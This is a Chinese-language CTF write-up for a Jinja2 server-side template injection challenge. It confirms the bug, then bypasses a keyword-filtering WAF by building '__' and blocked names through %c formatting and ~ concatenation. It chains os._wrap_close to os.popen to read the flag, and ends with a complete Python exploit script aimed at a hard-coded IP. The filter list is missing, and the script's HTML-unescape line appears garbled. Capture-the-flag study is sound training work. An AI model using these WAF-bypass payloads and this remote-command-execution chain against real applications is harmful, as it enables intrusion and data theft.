SSTI Labs-Witeup
文章摘要:
本文记录了针对 Web 题目 EZ SSTI 的完整解题过程。在确认存在 Jinja2 模板注入漏洞后,遇到了 WAF 对 __、os、popen 等关键字的严格过滤。文章详细介绍了如何利用 Jinja2 的字符串格式化(%c)与拼接技巧(~)绕过字符限制,并通过编写 Python 脚本自动化寻找 os._wrap_close 类索引,最终成功执行系统命令并获取 Flag。
文章内容:
拿到题目后,我先访问了给出的地址 http://115.159.155.176:13337/。页面上没有什么特别的提示,但我注意到这是一个 Flask 应用,通常这类题目涉及服务端模板注入(SSTI)。题目提供了一个 /render 接口,通过 POST 请求发送 JSON 数据,格式大概是 {"template": "..."}。
第一步:确认漏洞
为了确认是否存在 SSTI,我按照惯例先在 template 字段里填入最基础的测试 payload:
{"template": "{{ 7*7 }}"}
服务器返回了 49。这说明服务器确实执行了模板里的数学运算,这是一个 Jinja2 的 SSTI 漏洞没跑了。
第二步:遇到 WAF
确认漏洞后,我尝试直接读取配置或者执行命令,比如输入 {{ config }} 或者 {{().class}}。
结果并不顺利,服务器返回了错误或者空值。看来后台有个 WAF(防火墙)在拦截请求。我开始手动 fuzz 一下,看看哪些词被过滤了。
经过测试,我发现以下关键字都被屏蔽了:
既然这么多关键字都被拦截了,直接拼 payload 肯定不行,得想办法绕过。
第三步:思考绕过思路
这里的核心问题是如何在不出现 __、os 等被禁用字符串的情况下,构造出能执行的命令。
在 Jinja2 中,我们可以使用字符串拼接或者格式化来动态生成字符串。我想到了 ASCII 码转换。在 Python 里,下划线 _ 的 ASCII 码是 95。Jinja2 支持 % 格式化操作,也支持字符串拼接 ~。
如果我写 "%c%c"%(95,95),它实际上就会变成 "__"。
同样的道理,对于被过滤的单词,我可以把它们拆开:
第四步:构造 Payload
既然思路有了,我就开始构建获取所有子类的 payload。正常的 SSTI 链子是 ().class.base.subclasses(),但现在不能直接写这些词。
我设计的 payload 如下:
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{{ ()|attr(c)|attr(b)|attr(s)() }}
解释一下这几行干了什么:
我把这个 payload 发送给服务器,成功返回了一大串内置类的列表。不过因为 Jinja2 会自动转义 HTML 字符,返回的内容里全是 < 和 >,这在写脚本处理时需要注意解码。
第五步:寻找利用类
在这一大串类列表里,我要找一个能执行命令的类。最常用的是 os._wrap_close,这个类的 init 方法的 globals 属性里包含了 os 模块的所有内容,包括 popen 函数。
我写了个正则去匹配返回的列表,找到了 os._wrap_close,它在列表的第 134 位(不同环境索引可能不同,需要脚本自动找)。
第六步:读取 Flag
现在有了类索引,就可以构造最终读取 Flag 的 payload 了。
目标是要执行类似 os.popen('head /flag').read() 的效果。结合之前的绕过技巧:
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{% set i = u ~ "init" ~ u %}
{% set g = u ~ "globals" ~ u %}
{% set p = "pop" ~ "en" %}
{% set cmd = "head /fl" ~ "ag" %}
{% set classes = ()|attr(c)|attr(b)|attr(s)() %}
{% set target = classes[134] %}
{% set po = target|attr(i)|attr(g) %}
{{ po[p](cmd).read() }}
这里:
-
i 和 g 构造了 init 和 globals。
-
target 拿到了 os._wrap_close 这个类。
-
po 相当于拿到了全局变量字典。
-
p 是拼接出来的 popen 函数名。
-
cmd 是拼接出来的 head /flag 命令。
-
最后执行 read() 读取结果。
把这个发过去,服务器终于返回了 Flag。
完整脚本
手动拼接太麻烦,我写了个 Python 脚本来自动化整个过程:先跑一遍找索引,再跑一遍拿 Flag。
import requests
import re
# 题目地址
TARGET_URL = "http://115.159.155.176:13337/render"
HEADERS = {
"Content-Type": "application/json"
}
def send_payload(payload):
"""发送 Payload 并返回响应"""
try:
data = {"template": payload}
response = requests.post(TARGET_URL, json=data, headers=HEADERS, timeout=10)
if response.status_code == 200:
return response.json()
else:
print(f"[-] HTTP Error {response.status_code}: {response.text}")
return None
except Exception as e:
print(f"[-] Request failed: {e}")
return None
def find_gadget_index():
"""绕过 WAF,获取 os._wrap_close 类的索引"""
print("[*] Retrieving built-in class list...")
# 绕过 __ 的 Payload
payload = """
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{{ ()|attr(c)|attr(b)|attr(s)() }}
"""
response = send_payload(payload)
if not response or 'result' not in response:
print("[-] Failed to get class list")
return -1
result_str = response['result']
# 处理 HTML 转义字符
result_str = result_str.replace('<', '<').replace('>', '>').replace(''', "'").replace('"', '"')
# 正则提取所有类名
classes = re.findall(r"<class '([^']+)'>", result_str)
if not classes:
classes = re.findall(r"<class \"([^\"]+)\">", result_str)
if not classes:
print(f"[-] Regex failed. Content preview: {result_str[:100]}...")
return -1
# 寻找 os._wrap_close 的索引
target_index = -1
for i, name in enumerate(classes):
if 'os._wrap_close' in name:
target_index = i
print(f"[+] Found os._wrap_close at index: {i}")
return target_index
print("[-] os._wrap_close not found")
return -1
def exploit(index):
"""执行 Exploit,读取根目录 flag"""
print("[*] Executing Exploit...")
# 绕过 WAF 的 Payload
payload = """
{% set u = "%c%c"%(95,95) %}
{% set c = u ~ "class" ~ u %}
{% set b = u ~ "base" ~ u %}
{% set s = u ~ "subclasses" ~ u %}
{% set i = u ~ "init" ~ u %}
{% set g = u ~ "globals" ~ u %}
{% set p = "pop" ~ "en" %}
{% set cmd = "head /fl" ~ "ag" %}
{% set classes = ()|attr(c)|attr(b)|attr(s)() %}
{% set target = classes[""" + str(index) + """] %}
{% set po = target|attr(i)|attr(g) %}
{{ po[p](cmd).read() }}
"""
response = send_payload(payload)
if response and 'result' in response:
print("\n" + "="*20 + " FLAG " + "="*20)
print(response['result'].strip())
print("="*46 + "\n")
return True
else:
print("[-] Exploit failed")
if response:
print(f"Response: {response}")
return False
if __name__ == "__main__":
print(f"Target: {TARGET_URL}")
idx = find_gadget_index()
if idx != -1:
exploit(idx)
else:
print("[-] Cannot proceed with exploit")
运行脚本后,成功拿到 Flag:FLAG{xxxxx……}。